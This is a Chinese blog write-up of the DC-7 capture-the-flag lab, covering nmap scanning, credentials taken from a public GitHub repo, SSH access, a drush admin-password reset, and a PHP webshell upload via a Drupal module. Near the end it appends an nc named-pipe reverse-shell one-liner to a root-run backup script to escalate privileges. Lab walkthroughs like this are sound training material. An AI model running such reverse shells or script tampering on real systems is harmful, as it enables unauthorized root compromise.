DC-7 靶场学习
创始人
2025-05-28 11:13:59
0次

文章目录

  • 信息搜集
  • 账号密码获取
  • 修改密码
  • 反弹shell
  • 得到flag

信息搜集

首先获取目标ip。

arp-scan -l
nmap -sP 192.168.28.0/24

得到目标ip为：

192.168.28.139

先访问页面。

image-20230315141746777

翻译一下。


欢迎来到 DC-7DC-7引入了一些“新”概念，但我会让你弄清楚它们是什么。 :-)虽然这个挑战并不是那么技术性，但如果您需要诉诸暴力破解或字典攻击，您可能不会成功。你要做的，是“跳出框框”思考。“在”盒子外面。 :-)

提示说明本题不需要爆破密码，下边又发现了一个提示。

image-20230315144805669

账号密码获取

直接搜索DC7USER，staffdb/config.php at master · Dc7User/staffdb (github.com)

发现账号和密码。

但是却没法登录，扫目录也没发现其他登录服务，利用nmap扫描一下端口。

nmap -sV -A 192.168.28.139

image-20230315145503532
发现开放22端口，尝试ssh登录，成功。

ssh dc7user@192.168.28.139

image-20230315145652179
然后在该用户下发现邮件信息。

image-20230315145941842

修改密码

发现sh执行文件，查看。

cat /opt/scripts/backups.sh

image-20230315150024562
发现drush命令，使用该命令修改admin的密码。

drush user-password admin --password="123456"

image-20230315150352528

成功。

反弹shell

登陆后在Extend中发现可以安装模块，尝试安装php模块。

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

下载后解压上传即可，然后上传webshell。

image-20230315150828908

编辑完成后保存访问，同时本地打开接收。

image-20230315150903122

然后进入交互模式。

python -c 'import pty;pty.spawn("/bin/bash")'

image-20230315151143998

无法找到flag，尝试提权，利用刚刚的可执行文件提权，设定定时任务。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.28.142 4444 >/tmp/f" >>back*

image-20230315151504581

得到flag

时间有点长,反弹后直接到root中找flag即可。
在这里插入图片描述

词库加载错误:未能找到文件“E:\highferrum_mysql\Configuration\Dict_Stopwords.txt”。

上一篇：有什么外观漂亮的蓝牙耳机？高颜值真无线蓝牙耳机推荐

下一篇：全国青少年软件编程（Scratch）等级考试一级真题——2022.9

相关内容

热门资讯

安卓如何操控苹果系统,揭秘跨平... 你知道吗？在这个科技飞速发展的时代，安卓和苹果两大操作系统之间的较量可是从未停歇。虽然它们各自有着忠...
安卓系统账户同步数据,畅享无缝... 你有没有遇到过这种情况：手机里存了那么多宝贝照片、重要文件，结果换了个新手机，却发现那些宝贝全都不翼...
安卓系统不停推送广告,安卓系统... 你有没有发现，最近你的安卓手机是不是越来越“热情”了？没错，就是那个不停在你屏幕上跳来跳去的广告！今...
airpods可以和安卓系统,... 你有没有想过，那些炫酷的AirPods竟然也能和安卓手机完美搭配？没错，就是那个我们平时只听说和iP...
安卓系统实体键盘不对,创新与挑... 你是不是也遇到了这个问题？安卓手机的实体键盘突然不对劲了，按下去没反应，或者反应迟钝，简直让人抓狂！...
汽车导航改装安卓系统,安卓系统... 你有没有想过，你的汽车导航系统是不是已经out了？现在，让我来给你揭秘如何给你的爱车来一次科技大变身...
安卓系统如何限制下载,安卓系统... 你有没有发现，手机里的安卓系统越来越智能了？不过，这也意味着有时候我们不小心就会下载一些不想要的软件...
安卓系统调成日语,概要の副標題... 你有没有想过，你的安卓手机竟然可以变成一个日式小天地呢？没错，就是那种动漫里常见的日语界面，是不是听...
男生耳机推荐安卓系统,男生耳机... 耳机可是现代生活中不可或缺的小玩意儿，尤其是对于喜欢听音乐的男生来说，一副好耳机简直就是灵魂的伴侣。...
安卓同版本升级系统,功能优化与... 你知道吗？最近手机界可是热闹非凡呢！各大品牌纷纷推出了安卓同版本升级系统，让我们的手机焕然一新。今天...
安卓更换别的手机系统,轻松切换... 你有没有想过，你的安卓手机用久了，是不是有点审美疲劳了呢？或者，你最近是不是对其他手机系统产生了浓厚...
安卓系统单机神雕侠侣,指尖重温 你有没有想过，在手机上也能体验一把江湖恩怨、侠骨柔肠？没错，就是那个让人心驰神往的《神雕侠侣》！今天...
安卓系统键盘语言切换,安卓系统... 你有没有发现，手机上的安卓系统键盘语言切换功能，简直就像是个神奇的魔法棒，轻轻一点，就能让文字飞舞在...
oppok1安卓系统,性能与体... 你有没有发现，最近手机圈里又掀起了一股热潮？没错，就是OPPO K1这款新机！这款手机不仅外观时尚，...
安卓系统环境的搭建,从零开始构... 想要在电脑上体验安卓系统的魅力，是不是已经跃跃欲试了呢？别急，今天就来手把手教你如何搭建一个属于自己...
【MySQL】锁 锁 文章目录锁全局锁表级锁表锁元数据锁（MDL）意向锁AUTO-INC锁...
【内网安全】 隧道搭建穿透上线... 文章目录内网穿透-Ngrok-入门-上线1、服务端配置：2、客户端连接服务端ÿ...
GCN的几种模型复现笔记 引言 本篇笔记紧接上文，主要是上一篇看写了快2w字，再去接入代码感觉有点...
数据分页展示逻辑 import java.util.Arrays;import java.util.List;impo...
Redis为什么选择单线程？R... 目录专栏导读一、Redis版本迭代二、Redis4.0之前为什么一直采用单线程？三、R...